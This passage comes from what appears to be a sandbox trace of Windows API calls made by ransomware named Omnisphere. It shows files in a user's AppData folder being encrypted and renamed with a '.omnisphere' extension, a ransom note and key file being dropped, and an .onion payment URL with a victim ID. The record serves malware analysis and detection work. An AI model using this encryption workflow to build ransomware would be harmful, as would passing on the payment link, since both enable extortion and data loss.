pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.052] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.053] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.054] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.056] CryptDestroyKey (hKey=0x1639b68) returned 1 [0063.056] CryptReleaseContext (hProv=0x163be38, dwFlags=0x0) returned 1 [0063.056] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x12f28, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.057] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.057] GetProcessHeap () returned 0x1600000 [0063.057] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x286) returned 0x1651f98 [0063.057] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aar4wXwobwm8v j.mp3" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\aar4wxwobwm8v j.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aar4wXwobwm8v j.mp3.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\aar4wxwobwm8v j.mp3.omnisphere")) returned 1 [0063.060] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\aar4wXwobwm8v j.mp3.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\aar4wXwobwm8v j.mp3.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\aar4wXwobwm8v j.mp3.omnisphere.id" [0063.060] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\aar4wXwobwm8v j.mp3.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\aar4wxwobwm8v j.mp3.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.061] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.062] CloseHandle (hObject=0x3a8) returned 1 [0063.063] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0063.063] CloseHandle (hObject=0x3a4) returned 1 [0063.064] SetEndOfFile (hFile=0x3a0) returned 1 [0063.064] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.068] CloseHandle (hObject=0x3a0) returned 1 [0063.068] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\aar4wXwobwm8v j.mp3" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.068] GetProcessHeap () returned 0x1600000 [0063.068] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1652228 [0063.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.068] GetProcessHeap () returned 0x1600000 [0063.068] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641b88 [0063.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641b88, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.068] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.068] GetProcessHeap () returned 0x1600000 [0063.068] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f970 [0063.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.068] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.068] GetProcessHeap () returned 0x1600000 [0063.068] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163bf48 [0063.068] PathCombineW (in: pszDest=0x163bf48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.068] GetProcessHeap () returned 0x1600000 [0063.068] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1652748 [0063.068] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.069] WriteFile (in: hFile=0x3a0, lpBuffer=0x1652748*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1652748*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.069] CloseHandle (hObject=0x3a0) returned 1 [0063.069] GetProcessHeap () returned 0x1600000 [0063.069] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1652228 | out: hHeap=0x1600000) returned 1 [0063.069] GetProcessHeap () returned 0x1600000 [0063.069] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fc00 [0063.069] PathCombineW (in: pszDest=0x163fc00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.069] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.069] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.069] CloseHandle (hObject=0x3a0) returned 1 [0063.070] GetProcessHeap () returned 0x1600000 [0063.070] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fc00 | out: hHeap=0x1600000) returned 1 [0063.070] GetProcessHeap () returned 0x1600000 [0063.070] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fe00 | out: hHeap=0x1600000) returned 1 [0063.070] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e6ed40, ftCreationTime.dwHighDateTime=0x1d4c59c, ftLastAccessTime.dwLowDateTime=0xe8ba94a0, ftLastAccessTime.dwHighDateTime=0x1d4cdba, ftLastWriteTime.dwLowDateTime=0xe8ba94a0, ftLastWriteTime.dwHighDateTime=0x1d4cdba, nFileSizeHigh=0x0, nFileSizeLow=0x5a3d, dwReserved0=0x0, dwReserved1=0xed, cFileName="AcOLQjuLNXMql.gif", cAlternateFileName="ACOLQJ~1.GIF")) returned 1 [0063.070] GetProcessHeap () returned 0x1600000 [0063.070] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x72) returned 0x163fe80 [0063.070] PathCombineW (in: pszDest=0x163fe80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="AcOLQjuLNXMql.gif" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\AcOLQjuLNXMql.gif") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\AcOLQjuLNXMql.gif" [0063.070] StrStrW (lpFirst=".omnisphere", lpSrch=".gif") returned 0x0 [0063.070] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\AcOLQjuLNXMql.gif" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\acolqjulnxmql.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.070] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=23101) returned 1 [0063.070] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x5519, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.070] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.070] GetTickCount () returned 0x1150154 [0063.070] GetTickCount () returned 0x1150154 [0063.070] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] GetTickCount () returned 0x1150154 [0063.071] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c5a8) returned 1 [0063.072] CryptImportKey (in: hProv=0x163c5a8, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639b68) returned 1 [0063.072] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.072] CryptDestroyKey (hKey=0x1639b68) returned 1 [0063.072] CryptReleaseContext (hProv=0x163c5a8, dwFlags=0x0) returned 1 [0063.072] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a3d, lpName=0x0) returned 0x3a4 [0063.072] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a3d) returned 0x3430000 [0063.073] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c0e0) returned 1 [0063.073] CryptImportKey (in: hProv=0x163c0e0, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639b68) returned 1 [0063.073] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.073] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.074] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, 